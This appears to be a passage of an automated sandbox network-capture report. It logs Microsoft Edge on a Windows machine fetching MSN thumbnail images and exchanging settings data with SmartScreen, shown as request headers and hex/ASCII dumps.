2024-11-19 17:00:47 UTC	2690	IN	Data Raw: 83 cc 99 ce ca d2 0c 19 c8 45 ea b3 1d 04 82 d0 6b 50 e2 40 a7 28 77 ba a9 07 3a 4d 94 43 71 18 32 64 d6 b0 78 ac a2 c5 12 20 1e a2 6e d3 71 06 2b 65 9d 79 10 66 b4 f4 e1 6e aa 84 dc 52 d6 14 06 66 2a 6b aa 89 fc a6 bc bd 62 2b d5 05 65 d2 1c 5c 6f d2 f5 d3 45 0d 70 26 b4 eb 68 eb 62 86 58 e8 2e 83 84 10 31 65 26 48 f3 85 27 aa 0b b8 38 bc d2 4b 9c 60 61 10 0f 5b cc 92 2b ce 55 07 46 d9 93 6b 0b c9 b5 81 a4 0e 0b 9b 6c 12 1d 04 d8 d2 40 91 a7 59 d0 23 34 c0 6e 29 70 ac b6 63 3b 50 cd 4f ba 63 2a 21 bb 8e 26 03 45 04 34 90 db 6a e2 7f 95 b0 06 48 37 b4 52 63 50 7a 84 f0 b9 ae 20 c1 ce 41 11 c2 25 ab 0d a9 ac cd a8 01 12 33 e5 09 d3 3c 41 70 b4 35 bd d8 84 d6 86 87 4e a9 b8 b3 07 6f 6b ad 84 09 10 3f d4 4c c9 e8 2b a8 45 a3 59 63 06 7b 64 1f 5a 8f 9a 0e 17 Data Ascii: EkP@(w:MCq2dx nq+eyfnRfkb+e\oEp&hbX.1e&H'8K`a[+UFkl@Y#4n)pc;POc!&E4jH7RcPz A%3<Ap5Nok?L+EYc{dZ
2024-11-19 17:00:47 UTC	16384	IN	Data Raw: 14 b8 0f 4e b9 ab 76 28 e7 5a 6b c3 35 0e 0e 1e 95 f4 52 11 c4 48 87 54 92 0d 22 04 d2 49 92 ea 6b a4 28 34 a4 9b da 0f 9f 14 da 70 65 5c f2 a7 8a a4 23 43 32 22 b9 29 63 12 08 10 39 ce a7 4d 07 45 a2 97 32 3c 80 5a 3a 52 4c 4e 7c 8d 13 ec ac 12 22 22 73 f2 b4 75 41 49 34 98 a7 01 3c d1 71 54 b9 b2 09 6f 68 69 23 0d 73 24 54 08 88 9e b2 82 40 8b cf 0f 4b d3 ad 16 98 3d 3a 28 c8 21 25 f5 2e a9 26 4e 66 6a 49 d7 8a ac 2e 74 40 8a c6 84 f9 88 f1 55 4e 3b 8e 2d 71 6b 41 c2 d0 dc 20 32 70 80 2a 03 44 bb fc 8e 66 b2 8b 1b 85 a1 a5 ce 2d 93 86 7f f9 60 dd f8 66 9a 12 42 8f a4 05 a0 07 f7 8e d1 42 29 31 9e 19 b1 d0 d5 63 d9 af 1b 1e 08 bb 90 21 87 00 0d c5 07 ba b5 26 fa 7f 8d 05 ea b1 3f a8 c9 6b 81 6e 17 00 40 23 15 08 c4 1c 2a 30 e5 10 79 27 d0 7a b9 27 92 c4 Data Ascii: Nv(Zk5RHT"Ik(4pe\#C2")c9ME2<Z:RLN\|""suAI4<qTohi#s$T@K=:(!%.&NfjI.t@UN;-qkA 2pDf-`fBB)1c!&?kn@#0y'z'
2024-11-19 17:00:47 UTC	16384	IN	Data Raw: 6e 23 e4 b3 a7 1c bb e0 35 97 19 e5 04 71 b9 5e 6c 02 bd 1d d2 37 43 87 22 29 02 f6 f1 2b 91 f4 02 84 00 63 f8 5d ba b9 77 3d a1 86 e0 44 1e 28 db 83 b4 13 e0 20 ec e3 dc 34 6b 9d 11 20 02 6e 60 4c 5a 49 03 9a 37 73 e8 05 8d be 55 95 a7 30 66 20 c1 13 6a 64 8a 48 36 d3 c1 49 c2 8d 65 00 04 9b 00 65 d9 4d c8 11 41 60 67 55 23 6e b1 6e b9 7a 14 b2 23 0c 9b 13 59 cf d1 10 1d 79 75 01 0e 1c c7 12 08 31 40 5a 69 cc 13 06 a8 ed 70 ac d4 47 23 d1 2c 90 dc 6b 36 b7 19 fa f6 df 8c 34 07 38 1c 6c 73 4c e2 61 11 18 aa 08 a8 21 03 0e be 0e 53 d1 74 5e 48 14 a5 6f 1f 75 0e 69 00 45 ef 33 79 e8 b5 19 04 cb 25 a0 83 20 13 4e 30 24 48 ea 85 4f ba 39 6f dc a4 fd bc 39 f7 66 0c 53 dd 68 39 cb 6f 33 e8 b0 ed 24 5e 69 5f e5 18 17 03 42 68 71 37 a3 86 7c d4 ba 93 20 e2 26 a4 Data Ascii: n#5q^l7C")+c]w=D( 4k n`LZI7sU0f jdH6IeeMA`gU#nnz#Yyu1@ZipG#,k648lsLa!St^HouiE3y% N0$HO9o9fSh9o3$^i_Bhq7\| &
2024-11-19 17:00:47 UTC	7952	IN	Data Raw: d6 1d 84 56 26 2d 9f 43 c5 71 b1 df af 67 60 dd 18 48 ac c5 26 3c 59 75 7e ce d0 24 44 45 6e 34 8e 2b ca 79 c8 b6 1d 63 34 f2 1e cb 35 f0 d1 39 5f 2e 0b 18 e9 a7 f1 0f 20 35 c0 c9 b1 5e 46 eb 85 e6 78 7b af 53 71 8e c2 c7 90 40 7b 65 a4 d9 e2 48 91 c4 47 35 e5 6e 06 c7 e3 06 69 5b 5e 64 75 a4 55 6b aa ed 41 80 74 27 82 1b 99 4a 9a e5 4a 55 13 08 26 45 00 3d 68 ba 4f c6 6f 1d cd a7 3b 03 ff 00 4e db b6 58 1c c0 47 eb 38 86 12 22 b1 8c 90 4d 41 88 b2 f4 75 cf 7b 8f 3f 79 7d a6 bc e7 35 b3 35 c3 94 c0 3f 78 cd 22 d1 48 33 23 2c ab 63 d5 14 ed 81 5a 9e a8 a3 6d a4 08 9b d4 88 a0 d2 33 56 8e 35 ca e6 80 75 f4 e0 8c 36 c5 d1 06 db 4c 56 01 35 c8 fd 0a 4e a4 0c 56 14 a4 1b 9b eb cd 1a dc 86 dc 46 18 26 b1 49 89 39 7a a2 3b 6f 03 a2 67 0d ce 40 f3 f6 e6 82 0f 5e Data Ascii: V&-Cqg`H&<Yu~$DEn4+yc459_. 5^Fx{Sq@{eHG5ni[^duUkAt'JJU&E=hOo;NXG8"MAu{?y}55?x"H3#,cZm3V5u6LV5NVF&I9z;og@^
2024-11-19 17:00:47 UTC	16384	IN	Data Raw: 4a 69 a7 9b 1c 49 22 aa 12 59 fc 9f 71 c7 52 92 a2 92 3f 23 53 a5 fa 06 54 22 15 25 1f 94 fe 30 8a 19 45 28 65 6a 7c ba 3f 10 45 0c a2 94 32 b5 f9 47 e3 0c a1 94 42 a4 a7 f2 2f c6 1a 85 65 49 57 33 c1 17 52 55 15 32 b5 c9 70 4a 94 ca 92 53 3b 2e 09 2a 4a 72 a0 94 f2 5c 18 a9 5a 54 ca 79 2e 0c 52 52 5c a4 b9 5a b8 a9 64 32 f5 1f b1 06 75 1d 35 cf fb 02 df b9 a3 31 e6 8b 2f d1 a9 8e 89 4a 57 2b be 25 82 b8 82 03 be 31 83 aa 27 c7 df b7 fa 68 e7 d2 7f aa 7e af 43 10 54 1c bc 7f f7 cc ea 91 f8 e7 64 d3 c5 6b fd bf c9 7d 99 fc df 1c f7 7b ed 2b b7 6d b8 97 c6 3f fe 53 75 8e 22 02 bd bf f9 1f 8c 73 27 f6 96 5f fd 3e 81 72 ef fc 07 cb db df ac ff 00 9f 66 ba ff 00 19 f1 cf 19 da be e8 ec 3a 26 0a f2 be 23 7b 6f 6c c1 7b 47 49 5f 29 bb f1 9f 13 b9 47 6f 3c d2 c5 Data Ascii: JiI"YqR?#ST"%0E(ej\|?E2GB/eIW3RU2pJS;.*Jr\ZTy.RR\Zd2u51/JW+%1'h~CTdk}{+m?Su"s'_>rf:&#{ol{GI_)Go<
2024-11-19 17:00:47 UTC	1928	IN	Data Raw: a9 57 45 92 24 d1 0e b3 4a 2d 88 05 25 c0 73 44 8d 89 10 b2 8f d8 0a c0 f3 e0 ac 1a b5 51 55 18 b4 13 ea b6 37 73 1e e1 04 48 5a 88 12 6a 26 46 99 a8 c5 4d 47 a2 78 8d 74 62 01 6c 7f c7 d1 73 cc 18 3a 66 94 f8 36 f3 57 11 c9 d1 fb 2d d7 87 d9 2c 67 c7 82 82 09 e1 d0 cf b2 d3 cb ff 00 84 ab 8a da 3e 3f 02 16 c4 7c 7d c2 0c f3 f5 09 ce 77 e5 43 e4 ac 5a 36 29 f1 f7 58 1c 8d 34 28 53 9c c8 d0 dd 69 cd b4 e8 8c 3a 34 cb ba 8c c2 41 d2 26 e7 c6 88 77 a8 be 89 82 0b a6 ca c5 aa 92 e1 4e 23 f9 5a 97 b7 9f c9 4c c1 ee 17 cd 31 39 43 86 8a c2 ae b1 3e 47 ee 98 75 32 3d 2a 14 52 68 4b 4e 99 27 7f c8 7f dc 14 96 5d 84 67 c8 d4 2c 6a d0 44 18 50 45 2f 88 7b ad 43 f8 d0 e8 84 bc 41 c2 26 12 26 90 e1 4d 42 52 0d 1c 23 aa d2 e6 8a 59 48 c4 da 8e 1d 52 06 3f c9 be 89 1c Data Ascii: WE$J-%sDQU7sHZj&FMGxtbls:f6W-,g>?\|}wCZ6)X4(Si:4A&wN#ZL19C>Gu2=*RhKN']g,jDPE/{CA&&MBR#YHR?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49811	104.117.182.25	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:47 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:47 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 14 Nov 2024 13:08:58 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 5207dc63-23db-47af-bb98-7b1841fb9ec3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=374956 Expires: Sun, 24 Nov 2024 01:10:03 GMT Date: Tue, 19 Nov 2024 17:00:47 GMT Connection: close
2024-11-19 17:00:47 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49810	104.117.182.25	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:47 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:47 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=118504 Expires: Thu, 21 Nov 2024 01:55:51 GMT Date: Tue, 19 Nov 2024 17:00:47 GMT Connection: close
2024-11-19 17:00:47 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49807	104.117.182.25	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:47 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:47 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 97c9e9a8-9f6b-4148-a090-188006f62cf6 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=393191 Expires: Sun, 24 Nov 2024 06:13:58 GMT Date: Tue, 19 Nov 2024 17:00:47 GMT Connection: close
2024-11-19 17:00:47 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49808	104.117.182.25	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:47 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:47 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:23 GMT X-Datacenter: westus X-ActivityId: 9e7c39fd-58db-4e2c-957a-f382c8e91634 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=203289 Expires: Fri, 22 Nov 2024 01:28:56 GMT Date: Tue, 19 Nov 2024 17:00:47 GMT Connection: close
2024-11-19 17:00:47 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49809	104.117.182.25	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:47 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:47 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=101630 Expires: Wed, 20 Nov 2024 21:14:37 GMT Date: Tue, 19 Nov 2024 17:00:47 GMT Connection: close
2024-11-19 17:00:47 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49813	20.25.227.174	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:47 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiMEJLZTFMS2lJN2VpVnRRN2ZrbkFsdz09IiwgImhhc2giOiJSR3dYT2wzQ3V6VT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-19 17:00:47 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-19 17:00:47 UTC	302	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:47 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-19 17:00:47 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
